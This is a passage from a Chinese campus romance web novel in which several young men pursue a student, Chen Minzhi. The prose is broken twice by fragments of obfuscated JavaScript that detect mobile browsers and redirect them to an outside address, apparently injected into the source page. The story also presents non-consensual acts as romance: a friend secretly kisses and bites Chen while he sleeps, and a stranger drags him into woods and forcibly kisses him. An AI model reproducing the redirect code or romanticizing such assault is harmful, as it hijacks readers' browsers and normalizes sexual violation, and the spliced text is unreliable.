主要是他怕要是不给,自己今天是走不了了。 加完微信,对方终于让开了身前的道路,放他离开。 只是,陈悯之不知道为什么,当他走出很远,在道路拐弯处无意间回头时,卫殊还站在那里,望着他的方向,好像一直没有动过。 14.第 14 章 14 陈悯之以为,卫殊要他的微信,是为了在微信上继续邀请他加入篮球社,毕竟,现在各行各业都内卷,社团也不例外,每个社团都希望自己的社员越多越好,不然也不会花成本给新社员准备礼品了。 可出乎他意料的,加完微信后的一整天,卫殊都没有给他发消息。 正当陈悯之已经将这件事抛诸脑后的时候,他在第二天一早,看到了立在寝室楼下的高大身影。 男人身材宽阔,光是站在那里就像一座山似的,面部线条硬朗,五官充斥着一种粗犷的野性美,十足英俊,但也凶悍得让人不敢接近。 可那双野兽一般锐利凶悍的眸子,却在看到陈悯之出来的一瞬间,亮起了如同孩童般的光。 陈悯之看着卫殊迎面朝他走过来,嘴唇嚅动半晌,硬邦邦地吐出几个字:“好巧啊。” 陈悯之:“... ...” 他是不怎么聪明没错,可他也不是傻子,卫殊明显就是专程来寝室楼下等他的。 现在拉社员都已经卷到这种地步了吗?社长亲自来楼下堵人? 不过陈悯之一向是不愿意让别人尴尬的,于是很配合地没有拆穿:“是啊,好巧,你也住这边儿吗?” 卫殊看着他,神色认真:“不是,我住东五。” 陈悯之的宿舍在西边儿,距离东五几乎横跨了整个校区。 他问:“那你怎么会到这边来?” 卫殊嘴唇张了张,又闭了闭,最终干巴巴地说:“路过。” 陈悯之:“... ...” 这人还真是一点儿谎也不会撒。 陈悯之:“你吃早饭了吗?” 卫殊:“还没有。” “那一起去食堂?” “好。” 买好饭后,陈悯之坐到座位上,拿起热乎乎的包子就开啃,都吃了半个了才发现坐在对面的人没有动作,还一直盯着他看。 那双深褐色的眸子牢牢锁在他身上,目光专注,又含着烫意。 陈悯之被他盯得有些发毛了,把嘴里的包子咽下去,问:“我脸上有什么东西吗?” 卫殊:“你能不能把眼镜取下来?” “哦。”陈悯之没有多想地照做了。 卫殊看着他的目光似乎更烫了,半晌,问:“我可以摸一下吗?” 陈悯之:“啊?” 虽然不懂他的眼镜有什么好摸的,但他还是很大度地说:“可以,你摸吧。” 然后他就见卫殊抬起手,朝他的眼睛摸过来。 陈悯之:? 他本能地闭眼,只感觉到男人粗糙的指腹触碰到了他的眼角,微烫的温度在他皮肤上停留了好一会儿,才恋恋不舍似的离开。 从他的角度自然看不到,卫殊摸的是他眼角那颗淡红色的小痣。 重新戴上眼镜后,他看见卫殊对他笑了一下:“好了。” 陈悯之以为对方是把自己眼睛上的什么脏东西抹掉了,也没在意,随口道:“谢谢。” 卫殊也拿起东西开吃,不过吃的时候,他的视线还是没从陈悯之脸上离开过,喉结滚了又滚,像是想说什么,又一直不知道该怎么组织语言。 陈悯之被这欲言又止的视线笼罩了好半晌,都要忍不住自己开口问了,才终于听卫殊道:“明天社团有篮球赛,我打前锋,你能来看我比赛吗?” 陈悯之心想,果然,兜了大半圈,对方终于露出最终目的了,还是想劝服他加入篮球社。 大概是看他昨天一上来就拒绝,于是现在采取的方式比较迂回,打算先让他多接触一点和篮球有关的事情,引起他的兴趣,再慢慢劝他加入。 于是陈悯之也不好拂了他的面子,打算也采取一种迂回的方式,慢慢地、委婉地拒绝他。 他轻咳两声:“好啊,你们的球赛在哪里举办?” 卫殊:“北体育馆,下午两点。” 陈悯之回忆了一下课表,正好明天下午没课:“行,我会来的。” “我等你。”卫殊的眼睛里又出现那种孩童般,炽热又纯挚的期冀。 陈悯之:“你们社团,今年招收的新成员很少吗?” 卫殊:“嗯,只招了三十来个。” 陈悯之心中了然,果然是招不到人,只有社长亲自下场拉人了。 不过这也正常,初高中很多男生都喜欢打篮球,可到了处处充满新鲜的大学,许多人反而更想去尝试台球、网球等这种在初高中没机会接触的运动了。 他看了眼卫殊期待的眼神,终究没把自己无论如何都不可能加入篮球社的想法说出来。 主要是他真的很怕被球砸。 唉,以后再找机会说吧。 * 第二天下午,陈悯之按照约定的时间来到了体育馆,这场球赛虽然由篮球社举办,但实际是两个学院之间的联赛。 距离比赛开始还有二十分钟,观众席上却已经坐了密密麻麻一片人。 陈悯之对此很惊讶,卫殊说篮球社都招不到人,他原以为不会有这么多人对校内的球赛感兴趣。 而当他看到观众席上坐着的不少都是女生,有的人手里还举着灯牌,甚至有好几个灯牌上的名字都是卫殊的时候,顿时又不惊讶了。 明白了,原来大家都是来看帅哥的。 陈悯之找位置坐下后,将目光投降下方的篮球场,卫殊长得又高又俊,还有一身难以忽视的小麦色皮肤,在人群中很显眼,陈悯之不费力就找到了他。 卫殊似乎是队长,正低头和队员们说着些什么,神色认真,看上去像是在嘱咐比赛中的注意事项。 仿佛察觉到他的目光,男人抬起头,视线不偏不倚地朝这边投过来。 确认是他后,卫殊的脸上露出一个明朗的笑容,像旷野的风,隔着人群遥遥朝他吹拂过来。 “我靠,我没看错吧,卫殊刚才是在朝这边笑吧?”身后传来一个女生的声音。 “看花眼了吧你,卫殊是谁?出了名的冷面煞神,我看他三年球赛了,从来没见他对谁笑过。”另一人回答道,“而且就他那张凶神恶煞的脸,要是笑起来你不觉得违和吗?你也不想想他长那么帅,为什么在校草评选里只排了个第二。” “可我真看他笑了啊,而且就是朝我们这边笑的...” 陈悯之一边偷偷竖起耳朵听她们说话,一边感到疑惑。 卫殊有这么可怕吗? 虽然第一眼看见卫殊的时候他也被吓到了,但目前接触下来,卫殊更多给他的是一种矛盾感,看上去是凶悍霸道的面相,可实际在他面前的许多时候都显得局促,并且不善言辞的样子。 或许就和秦陌一样,只是长得不好接近,但实际上是很好的人呢。 陈悯之想,就算他不加入篮球社,说不定也能和卫殊成为很好的朋友。 思索间,只听一声尖锐的哨响,比赛已然开场。 卫殊不愧是篮球社的社长,技术对其他人完全是降维打击。 只见他一个迅速的转身,绕开拦在左前方的对手,又用一个假动作骗过从右后方抢球的人,接着几个大跨步上前,纵身一跃,竟是直接越过了篮筐,以无可阻挡的攻势,单手将篮球扣了进去! 场上骤然爆发出一阵喝彩。 陈悯之也看愣了,虽然他不是很懂篮球,但多少也知道,平框扣篮已经属于难度极大,而卫殊扣篮的时候,竟然整个头部都越过了篮筐,再加上他恐怖的肌肉控制力,让他跳至最高处时近乎有半秒钟的滞空,这使得他将篮球投入篮筐时,显得就像是在半空中随手把球放进去一样毫不费力。 能做到这种程度的,国家队都找不出几个。 陈悯之被帅呆了近十秒钟的时间,才后知后觉地跟着其他人鼓起掌来。 这时,卫殊的目光恰好也朝他这边投过来,看到他鼓掌的动作后,竟眼神躲闪地低下头,不敢和他对视一般。 不过不知是不是陈悯之看花了眼,卫殊的唇角似乎向上扬了扬,勾出一个隐秘而腼腆的弧度。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882200|159515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但只是极短的一瞬,很快,他又专心致志地投入比赛中了。 这是一场没有悬念的对局,卫殊所在的体育学院以压倒性优势完胜化学学院。 比赛结束后,陈悯之正打算收拾收拾东西走人,却看见卫殊在他起身的那一瞬,从正在和他碰拳庆贺的队友中窜出来,径直跑到他跟前。 男人小麦色的皮肤上覆着汗水,饱满的胸肌轮廓随着急剧的呼吸一起一伏,褐色的眼睛牢牢盯着他,喉结上下滑动,好像在不停地咽口水。 陈悯之看他好像很渴的样子,问:“你要喝水吗?” 他从自己包里拿出一瓶矿泉水,递到卫殊面前:“我只带了一瓶水,是我喝过的了,你要是不介意就先将就喝吧。” 主要是他没想到卫殊在赛后还会跑来找他,打算履行了诺言,一个人看完比赛就走的。 卫殊显然是不介意,接过他手里的水,那瓶水陈悯之只喝了一口,几乎是满的,男人却仰头咕咚咕咚不到十秒钟就灌完了,喝完后甚至还用舌头在瓶口舔了一圈,一滴水都没剩下。 陈悯之:“... ...” 看得出来是真的很渴了。 卫殊:“谢谢,很好喝。” 陈悯之:? 还是第一次见人说矿泉水很好喝的。 “给我吧。”他朝卫殊伸手,示意卫殊把空掉的矿泉水瓶还给他,他出去的时候好顺手扔掉。 可卫殊却紧紧攥着那个矿泉水瓶的模样,显然是不太想还给他的样子,男人宽大的手掌握了握,眼睛看着他,声音低低的:“这个可以给我吗?” 陈悯之:“?” 他一头雾水:“你要个矿泉水瓶做什么?” 卫殊看他一眼,又露出那种有些局促,手脚都不知道往哪儿放的神态,最后结结巴巴道:“我、我想要。” 陈悯之看他这幅忸怩样子,猛然反应过来什么,简直想抽刚刚问出那句话的自己两个大巴掌。 他可真该死啊! 卫殊一定是经济条件不太宽裕,才需要捡这些矿泉水瓶补贴生计吧。 陈悯之忙找补道:“那给你吧,我那里还有一箱,你需要的话以后都可以来拿。” 说完陈悯之就又想抽自己一个大嘴巴子,他都在说些什么?他是让卫殊来捡他以后喝剩下的每一个矿泉水瓶子吗?那也太奇怪了,而且总觉得有点伤人自尊。 可卫殊却已经眼含希冀地问:“真的?以后你喝过的,我都可以来拿吗?” 陈悯之看他这幅模样,不忍心拒绝:“嗯。” 他口上答应着,心里却想着授人以鱼不如授人以渔,以后还是多帮卫殊留意一下有没有合适的工作好了。 卫殊闻言,笑容明烈,像耀眼的朝阳,他抬手拭去滑到下颌角的汗滴:“我赢了比赛。” 陈悯之也对他露出一个笑:“嗯,恭喜你,赢得很漂亮。” 卫殊:“我能请你看一场电影吗?” 陈悯之:“嗯?” 他有点没明白话题是怎么跳得这么快的,他们不是在聊比赛吗? 卫殊见他不回答,很紧张似的咽了咽喉咙,又重新道:“我赢了比赛,所以,可以请你看一场电影吗?” 陈悯之:“哦...” 原来是这样,懂了,但还是没完全懂。 陈悯之:“还是我请你看吧,就当祝贺你。” 就当弥补他之前因为矿泉水瓶的冒犯。 卫殊倒没和他客气,似乎只要陈悯之答应了,他就很高兴一样。 卫殊:“好,那我们现在就去,你等我回寝室换身衣服。” 陈悯之:“嗯,你去吧,我就在这里等你。” 二十分钟后,气喘吁吁跑回来的卫殊,看着陈悯之座位旁边出现的男人,以及男人微笑着看过来的目光,脸上浮现出野兽般的警觉。 只有身处二人中央的陈悯之,兴高采烈地介绍着:“卫殊,这是我朋友顾明珏,他说想和我们一起去看电影,你不介意吧?” 15.第 15 章 15 巨幕影厅里人不多,大多数还都是情侣。 陈悯之瞅了眼身边卫殊不太好看的脸色,说:“对不起,都怪我把票买错了。” 他们原本打算看的是一部惊险刺激的外国动作片,结果陈悯之在手机上买票的时候,不小心买成了一部国产都市爱情片。 陈悯之猜想卫殊一定不太喜欢看爱情片,因为从他在体育场馆提前把票买好,到他们来电影院的这一路上,卫殊一次都没有笑过。 男人眉眼浓烈深刻,本就属于攻击性很强的那种长相,不笑的时候,就更显得凶了。 陈悯之声音都不自觉小了一点:“其实我也不喜欢看爱情片,尤其是国产的。” 坐在他另一侧的顾明珏倒是心情不错的样子,含笑着接口:“没关系,悯之想看什么都可以。” 卫殊嘴唇嚅动了几下,像是想说什么,可就在这时,头顶的灯光突然消失,四周变得一片漆黑,电影开场了。 大银幕上显示着片名——《好朋友》。 一开始,是三个人一起玩耍的场景,两男一女,笑着闹着十分和谐,能看出来一男一女是情侣,两个男人是朋友。 陈悯之有点疑惑,虽然他不怎么看爱情片,但也知道爱情片都是从男女主从相互不熟悉到最后在一起的,可这部影片一开始就在一起了,后面还拍些什么呢? 但很快他就知道后面还能拍些什么了。 ——男主在婚礼前夕查出了绝症。 得知此事的女主情绪从崩溃到消沉,成日以泪洗面,借酒消愁,然后在一个月黑风高的夜晚,误把偷摸进她房间的男主好兄弟当成了男主,发生了一晚上不可描述的事情。 看到这里,虽然有点挑战陈悯之的道德底线,但还不是最震撼的。 最震撼的是,在这样的事情反复多次出现后,女主终于察觉到不对劲了。 她扇了男主的好兄弟,也就是她的好朋友一巴掌,哭着控诉:“你为什么这么对我?你们不是兄弟吗!” 好兄弟唇角挑起一丝漫不经心的笑容:“嫂嫂,你早就知道是我了吧,从我们的第一次开始。” 男人步步逼近,直把女主逼到墙角,哑声道:“他早就不行了,自从他查出绝症,你们已经两个月没做过了,不是吗?否则那个病秧子,怎么可能让你这么爽呢?” 陈悯之看得瞪大眼睛,刚塞进嘴里的爆米花都掉了出来,咕噜噜滚到了地上。 然而更炸裂的还在后面: 好兄弟捏着女主的下巴,深情道:“敏敏,和我在一起吧,从见你的第一眼我就喜欢你了,从你站在他身边,笑着叫我名字的时候。” 女主哭着给了他一巴掌:“滚!” 男人接连挨了两巴掌,却一点儿也不生气,只是森森笑道:“如果你不答应,我就把我们之间的事情告诉他,你说,他那么爱你,知道后会有多失望?嗯?” 于是在这样的威胁下,两个人从在醉酒状态做不可描述的事,进化到了在清醒状态下做不可描述的事,当然,每一次都是背着男主的。 陈悯之手里的爆米花是一个也吃不进去了。 尤其听到男主好兄弟和女主不可描述时,每次都会用一种饱含欲.望的声音叫那个和他同音的名字之后。 诸如: “敏敏,不被爱的才是第三者。” “敏敏,你也很舒服的对不对?” 每叫一次,陈悯之就浑身僵直一次,就跟上课突然被老师点名了一样。 昏暗中,他借着大荧幕发出的光,偷偷去瞄身边一左一右坐着的两个人。 卫殊看得脸色紧绷,英俊的眉头都皱成了川字,顾明珏脸上倒是没什么变化,察觉到他的目光,还面带笑意地朝他看过来。 那目光就像是在说:原来你好的是这口啊,噢,了解了。 陈悯之尴尬得恨不得用脚趾抠出个地缝把自己埋进去。 但他的脚趾自然是没有这么强大的功能的,于是他想出了另一个办法——闭上眼睛装睡。 大概是影院的氛围太适合睡觉,陈悯之装着装着还真睡着了。 原本他还睡得不怎么舒服,脑袋一歪一歪的,后来不知怎的,迷迷糊糊歪到了一个枕头上。 这枕头软硬适中,饱满而富有弹性,自带加热功能,甚至还会根据他的睡觉姿势自动调整角度,比他寝室里的枕头睡着还舒服,让陈悯之安详地沉入了梦乡。 再醒来时,头顶灯都亮了,银幕上开始播放演职人员表。 陈悯之揉揉眼睛坐起身:“嗯?结束了?不好意思啊,我睡着了。” 他问卫殊:“结局是什么?” 卫殊目光原本直直落在他身上,闻言一愣,眼神躲闪着,磕磕巴巴道:“忘、忘了。” “忘了?”陈悯之惊讶,“你不是才看完吗?难道你也睡着了?” “呵,他可没睡着。”身后响起顾明珏不冷不热的声音。 陈悯之这时候注意到,卫殊的耳根子很红,他本来肤色就偏深,简直红到了发黑的程度,连着脖子和喉结都红了一大片,他担忧道:“你是不是哪里不舒服?” 说着伸手去探卫殊的额头,果然有点热,甚至还出了薄薄一层汗。 陈悯之神色立刻凝重起来:“你发烧了,我们去医院。” 卫殊却突然抓住他的手,握了两秒又放开,声音又哑又涩地说:“不用,我没有不舒服。” “我去一趟卫生间。”说罢,他步子飞快地消失在了二人面前。 ...哦,原来只是内急啊,陈悯之明白了,又叹口气。 这孩子,怎么内急都不知道先上厕所呢,把自己憋成这样。可能卫殊确实是家庭状况不太好吧,好不容易出来看一次电影,都舍不得中途去上厕所。 陈悯之心中涌起一股怜爱,决定以后对卫殊多照顾一点,没事儿就请他看看电影什么的,反正他现在在顾明珏家打工呢,不缺钱。 在等待卫殊的途中,陈悯之转头问顾明珏:“这电影的结局是不是很难看?” 因为他看顾明珏的表情不太好看。 顾明珏顿了顿,看着他,神色微缓:“没有,算不上难看,也算不上好看。” 陈悯之好奇道:“那后来呢,后来他们三个怎么样了?” “后来,男主发现了女主和好兄弟的秘密,三个人产生了一系列的冲突,关系几乎分 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“这样啊。”顾明珏轻声道,“那被悯之喜欢的人,一定很幸运呢。” 陈悯之拍拍他的肩膀:“你也不赖。” 顾明珏:“嗯?” 陈悯之很真诚地夸赞道:“你人这么好,还又帅又有钱,被你喜欢的人也会觉得很幸福的。” 顾明珏又笑起来,声音低低的:“希望如此吧。” 说话间,卫殊已经从卫生间出来了,陈悯之一瞧,他的脸色果然舒展了许多,好像紧绷着的脸皮都展开了,耳朵也没那么红了。 陈悯之叹口气,拉着他语重心长道:“电影有的是机会看,你以后可千万别再憋尿了,对肾不好。” 听完,卫殊神色疑惑,好像没听懂他在说什么,但最后还是直视着他的眼睛,郑重其事地说:“我的肾很好,可以给你用。” 陈悯之一头雾水:“你在说些什么东西?” 什么给他用?肾长在卫殊身上,怎么可能给他用? 他转头低声问顾明珏:“他是不是内急把脑子给急坏了?怎么都开始说胡话了。” 顾明珏冷笑一声:“我看未必。” 陈悯之在心底不知叹了第几口气,摇摇头没再管:“算了,先找个地方吃饭吧。” 吃过晚饭,三人一起回了学校,不过,卫殊的宿舍明明离他们很远,却非要把他和顾明珏送到宿舍楼下才肯走。 陈悯之觉得他真是太客气了。 他笑着朝卫殊挥手:“今天很开心,下次还一起玩儿。” 卫殊也露出一个真心实意的笑容,不过,他还是和上次一样立在原地,直到陈悯之的身影完全消失后才离开。 * 提着浴桶去洗澡的时候,陈悯之又在半路碰上了顾明珏。 不过,在知道顾明珏的作息时间和他差不多后,他已经对此不太意外了。 令他意外的是,洗澡间内,这已经是顾明珏在开学一个多月以来第三次对他道:“悯之,我忘带沐浴露了,可以借一下你的香皂吗?” 16.第 16 章 16 事不过三,饶是陈悯之再迟钝,此刻也不禁觉得有哪里不对劲。 顾明珏在校外有公寓,周末都是在公寓住,平时也有时候会去公司,在学校住宿的天数并不多。 怎么就能恰好次次都碰到他洗澡,还接连三次都忘带沐浴露,要借他的香皂? 他的香皂用起来是要香些吗?那他之前也已经送给过顾明珏一盒全新的了呀,就算喜欢用也没必要再来借他的,哦对了,顾明珏前两次借用他的香皂后,后来都没还他呢,跟肉包子打狗似的。 隔着隔板,陈悯之疑惑地问:“你怎么又忘带沐浴露了?” 顾明珏顿了一下,才道:“抱歉,最近忙的事情太多,记性不太好,我下次会注意的。” 这句话就像一个开关,瞬间让陈悯之不太灵活的脑瓜子转动了起来。 他想起来了,之前他在网上看过,抑郁症会影响大脑的前额叶还有海马体,使之产生生理性的病变,而这两者和记忆功能紧密相关,也就是说,对于一个抑郁症患者来说,记性不好是很正常的事情。 陈悯之攥紧脚趾,为自己半分钟前说出的话追悔莫及。 他可真该死啊!他怎么能和一个精神病人计较小小一块香皂呢? 更何况对方还是为他提供了工作的老板兼朋友,他这么计较显得太小气了。 于是陈悯之慌忙补救:“没关系,我就是随口一问,你以后没带的话,用我的就行了。” 他把自己刚用完的香皂冲洗了一下,从隔板下方的缝隙里递了过去。 “嗯。”顾明珏道,“谢谢悯之。” 陈悯之小声补充:“但你用了之后要记得还我。” 一次两次无所谓,但要是顾明珏每次借了都忘记还,他香皂再多都经不住这么造。 顾明珏的声音里似含着笑意:“好。” 过了一会儿,顾明珏在淅淅沥沥的水声中问:“一会儿,悯之有空去看看小猫吗?” 陈悯之:“嗯?今天吗?” 可今天都晚上了啊。 顾明珏:“嗯,平时你不在的时候,我是托朋友在照顾,但今天朋友有事,白天帮忙看顾了一会儿就先走了。” 陈悯之:“哦哦,那我洗完澡就过去吧。” 正好在学校澡堂里洗了,过去就不用再用顾明珏家里的大浴池了,费水。 到了公寓,陈悯之把小猫从保温箱里抱出来,放到嘴边亲两口:“宝贝芝芝,想爸爸了没?” 四爪悬空的小猫张牙舞爪地表示抗议:“喵!” 顾明珏把羊奶粉兑好递给他,陈悯之就抱着小猫,在自己怀里一口一口地喂.奶。 但小猫每天被人精心照料着,没有到很饿的地步,吃饭也就不太认真,叼着奶嘴嘬两口,就要挥舞着爪子去玩儿些有的没的。 陈悯之于是用手摁住小猫软乎乎的肚皮,一边抚摸,一边跟哄小娃娃似的说:“芝芝乖,喝完奶奶再去玩儿哦,一会儿奶凉了,喝下去可是要生病的。” 至于后面还说了些什么,顾明珏已经听不清了。 他只看到少年坐在暖黄色的灯光下,周身沐浴着一层浅淡的光晕,少年双臂环绕着小猫,长长的眼睫垂着,眼底蕴着温柔的光,让他整个人显得十足柔软。 这种柔软是无关性别的,它就像雪白绵软的云,就像春日和暖的阳光,像少年人身上温软的香气,美好,温暖,纯净,让人不自觉地就想要靠近。 从见到陈悯之的第一眼,顾明珏就深深地,无法自控地被他身上的这一特质吸引。 陈悯之给小猫喂完奶,又用逗猫棒陪小猫玩儿了一会儿,直到把小猫哄睡着,才困倦地打了个哈欠。 顾明珏热好两杯温牛奶,自己拿了一杯,另一杯递给他:“累了吗?要不就在这里睡?明早我送你回学校。” “嗯,谢谢。”陈悯之揉揉眼皮子,接过牛奶,小口小口地喝干净。 已经十一点,他喝完牛奶没多久就困得两个眼皮直打架,漱完口连手机都没玩儿就上床睡觉了。 夜深人静,客卧的电子锁发出滴答一声轻响。 一道人影,无声无息地覆在了熟睡的人身上。 少年白净的下巴被一只大手捏住,随即,那只手轻轻一捏,少年就无知无觉地张开了唇瓣,露出内里嫩.红色的小舌.头,小巧圆润的唇珠向上翘着,仿佛在邀请人亲吻一般。 不请自来的客人接受了邀请,含着烫意的吻覆上了少年的唇瓣,男人吻得很轻柔,舌.尖辗转舔.舐,又小心地收着牙齿,不让锋利的齿缘刮蹭到少年。 他亲吻着少年的唇珠,嘴角,甚至下巴,明明做着入室偷香的坏事,动作却珍而重之,仿佛在对待世间最喜爱、最珍贵的事物,既恨不得将身下人每一处都吻遍,又连力气都舍不得使大了。 生怕把人给碰碎了一般。 “我该拿你怎么办才好。”黑暗中,男人发出一声低沉的叹息。 他抚摸着少年微微红肿的唇瓣,那上面还沾着湿漉漉的水痕,娇艳欲滴。 那双眸子里划过一丝与这张清俊面庞不相符的阴暗:“明明是我最先认识的你,你却源源不断地,把温暖分给后来的人。” “我快要忍不住了。”一直都很温柔的男人,忽而低下头,在少年脖颈后方用力咬了一口。 随后,他亲吻着自己亲手留下的刻痕,声音低哑地在少年耳边叫道:“宝宝。” * 第二天,陈悯之早早走进了教室。 离上课铃响还有二十分钟,教室里没什么人,他一眼就看到了坐在中间的秦陌。 陈悯之提着课本走过去,打着哈欠道:“早啊。” 换做刚开学的时候,陈悯之是无论如何也不会去挨着秦陌坐的,但现在,他自认为他和秦陌已经很熟了,算得上是比普通室友更好一点的朋友,于是毫无心理障碍地坐在了秦陌旁边。 他的目的也很简单——最近专业课上的内容难度逐步增大,许多时候他明明很认真地听讲了,还是一知半解,坐在秦陌这个学霸室友旁边,上课有什么不懂的正好问他。 秦陌看他一眼,淡淡道了句早,然后就移开了视线。 但两秒钟后,男人的视线忽然又转回来,紧紧盯着他的脸问:“你的嘴怎么回事?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903232|159515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陈悯之:“嗯?” 他嘴上有什么东西吗? 应该没有啊,他每顿饭后都会漱口的。 但介于秦陌把他盯得发毛的眼神,陈悯之还是打开手机前置瞅了瞅。 可他瞅了一圈,连牙齿上都看过了,也没看到什么脏东西。 陈悯之:“我嘴上没什么东西啊。” 秦陌声音冷冰冰的:“你嘴巴都肿了,自己不知道吗?” 陈悯之:“嗯?有吗?“ 这次他对着前置镜头,仔细瞧了瞧,才发现好像是有一点肿,但程度很轻微,要不是秦陌提醒,他一整天都不会注意到。 陈悯之:“哦哦,应该是晚上睡觉的时候被蚊子咬了。” 睡着的时候被蚊子咬的话,等醒来的时候蚊子包就会消散大半,差不多就是他现在嘴巴上这个状态。 不过这蚊子咬得还挺均匀,没有让他的嘴唇变得薄一块儿厚一块儿,应该在他嘴上叮了不止一个包。 陈悯之感叹:“唉,秋蚊子咬人比夏天的蚊子还狠,幸好这蚊子是在我睡着时候咬的,不然得痒死我。” 秦陌落在桌下的五指无声攥紧了。 他百分之一百地确定,导致陈悯之嘴唇肿起来的元凶不是蚊子。 因为在陈悯之脖颈侧后方的白皙肌肤上,印着一枚青红色的咬痕。 这痕迹的位置十分巧妙,在左耳后方的下面一点,刚好在少年自己看不见,旁人却能够清楚看见的地方,就像故意留在那里给人看的。 仿佛一个明晃晃的,充满占有欲的挑衅。 秦陌目光死死盯在陈悯之身上,几乎把少年印着吻痕的脖颈盯出一个洞来。 而他身侧的陈悯之,正毫无所觉地一边拿出书本,一边念念叨叨着:“你说世界上为什么要有蚊子和蟑螂这两种生物呢?要是这两种东西都灭绝就好了。” 秦陌森森道:“是啊,都灭绝好了。” 陈悯之看着男人咬牙切齿的神色,心想,看出来了,秦陌是真的很讨厌蚊子。 待会下课了,去买一盘蚊香送他吧。 * 最后一节选修课上完,已经是晚上十点。 陈悯之从综合楼走出来,拐入了他常走的那条小道上。 这条路途径一片茂密的小树林,是从综合楼回宿舍最近的一条路,因为是穿林而过,路途也不长,故而中途没有设置路灯。 林子里都是几十年的大树,枝条遮天蔽日,白天看着幽静,到了晚上却显得有些渗人。风一吹,树叶沙沙摇起来跟鬼哭似的,因而,很少会有人在晚上走这条路。 但陈悯之是个坚定的唯物主义者,一向不信鬼神,一开始他走的时候还会打开手机的手电筒,后来熟悉路了,便连手电筒也懒得开。 陈悯之踩着一地清冷的月光,嘴里轻松地哼着歌。 算起来,已经快到月底了,他的第一笔工资该发下来了吧?虽然头一个月没有干满,但应该还是能拿不少钱,等拿到工资,他就—— 想到“就”的时候,他的思绪戛然而止。 因为身后突然伸出一只手,将他拖入了漆黑的树林里。 17.第 17 章 17 “唔、救——” 呼救的声音还没出口,陈悯之就被人捂住了嘴。 那人一手摁住他的嘴巴,一手钳住他的腰,把他往树林深处拖。 陈悯之手脚并用地挣扎着,可对方力气太大了,他挣不过,只能被拖着走,一双腿在枯枝上踩出杂乱的响声。 一瞬间,无数念头闪过他的脑海。 他这是被人给绑架了?是要绑他去割腰子吗?他听说大学生的腰子最好用了,一卖一个赚。 “唔、唔唔!” 陈悯之想要开口说话,告诉对方要多少钱他都给,实在给不起也可以先欠着,他马上就发工资了来着,只要别要他的命什么都好说。 但对方丝毫不给他说话的机会,锢着他拖行了一段距离后,忽然停了下来,把他压到了一棵树上。 正在陈悯之胆战心惊地想着,这人是不是现在就要动手割他腰子的时候,唇上忽然落下柔软的触感。 对方吻了上来。 陈悯之挣扎的动作停住了。 他像是一个突然泄了气的皮球,浑身力气都被抽走,大脑一片空白,只知道呆愣愣地瞪大眼睛。 可树林里太黑了,在林间的石板路上,还能借着月光勉强看清道路,到了林深处,茂密的枝叶遮挡了外界的所有光,黑得伸手不见五指,不管他眼睛瞪得多大,连眼前的人是男是女都看不清。 不过...应该是女生吧? 也不可能是男的啊,哪个男的没事去亲另一个男的。 最主要的是,陈悯之闻到了从她身上传来的香水味。 这香水是茉莉花味的,很明显的女式香型,但非常浓郁刺鼻,且香调单一,在这么近的距离下,刺鼻到了呛人的地步,像某宝上九块九一大瓶还包邮的廉价货。 因为不用再捂他的嘴,对方空出来的一只手转而捏住了他的双腕,摁倒头顶,死死压在了身后的粗糙树皮上,另一只手则从他的腰移到了他的脸上,捏着他的下巴,逼他把口腔打得更开,好方便唇.舌更深的侵.犯。 这个吻来势汹汹,强势又霸道,完全容不得他拒绝,因为卡在他下巴上的手让他合不拢嘴,而对方侵.入进来的舌.头则强横地占据了他口腔,把他柔嫩的嘴巴塞得满满的,让他连拒绝的话都说不出来。 “唔...”陈悯之没有接过吻,但在这种时候,本能促使他无意识地把舌.头往后缩,好像这样就能逃避对方的追捕。 察觉到他的逃避,压在他身上的人仿佛陡然被激怒了一般,掐着他下巴的手指更加用力,捏得陈悯之几乎把喉咙口都打开了,随即,对方把他往后藏的舌.头勾了出来,凶狠地在上面吸吮,还惩罚似的咬了一口。 “呜!呜疼——”陈悯之顿时痛呼出声。 尽管对方用的力道并不大,但舌.头毕竟是口腔中最敏感脆弱的部位,陈悯之平时吃饭不小心咬到了都要痛好久,被人故意咬一口,更是瞬间就痛出了眼泪,两团泪包在眼睛里,可怜兮兮的。 陈悯之只是下意识的一叫,可出乎他意料的,对方动作顿了一下,大概以为他在示弱服软,亲吻他的力道还真的小了下来,不再像先前那样很凶恶地啃咬他,恨不得把他的嘴巴咬下来吃进去似的,而转变为了温柔的舔.吻。 细细密密的亲吻落在唇瓣上,像是秋天的雨滴,暧昧又缠.绵。 风停了,周遭万籁俱寂,只听得见二人齿间传出的黏.腻水声,和被亲吻的人发出的微弱呻.吟。 刚开始对方亲得很凶的时候不觉得,现在动作温柔下来,陈悯之竟然觉出一丝舒服。 原来女生的嘴巴是这样的吗?比他想象中更热一点烫一点,嘴唇倒是很软,就是比他想象中稍微薄了一点,他总觉得女孩子的嘴巴要肉嘟嘟的,粉粉.嫩.嫩的最可爱。 于是在对方温柔下来的攻势下,陈悯之听着耳边传来的黏.稠水声,明明看不见对方长什么样,却也渐渐脸红心跳起来。 这个女生大晚上把他拉到树林里偷亲,一定是喜欢他了。 虽然他的理想型是温柔可爱的女生,不过女孩子有霸道强势的一面倒也不错,这样在外面才能保护好自己。 这么想着,陈悯之想开口问问对方叫什么名字。 可就在这时,林间小道的方向忽然传来一阵脚步声,像是有人来了。 亲吻他的人动作一僵,放开了他,可下一瞬,又突然低下头,在他脖颈上恶狠狠地咬了一口。 “呜、你——” 陈悯之吃痛地捂住脖子,再抬头,对方已经消失在漆黑的夜色中。 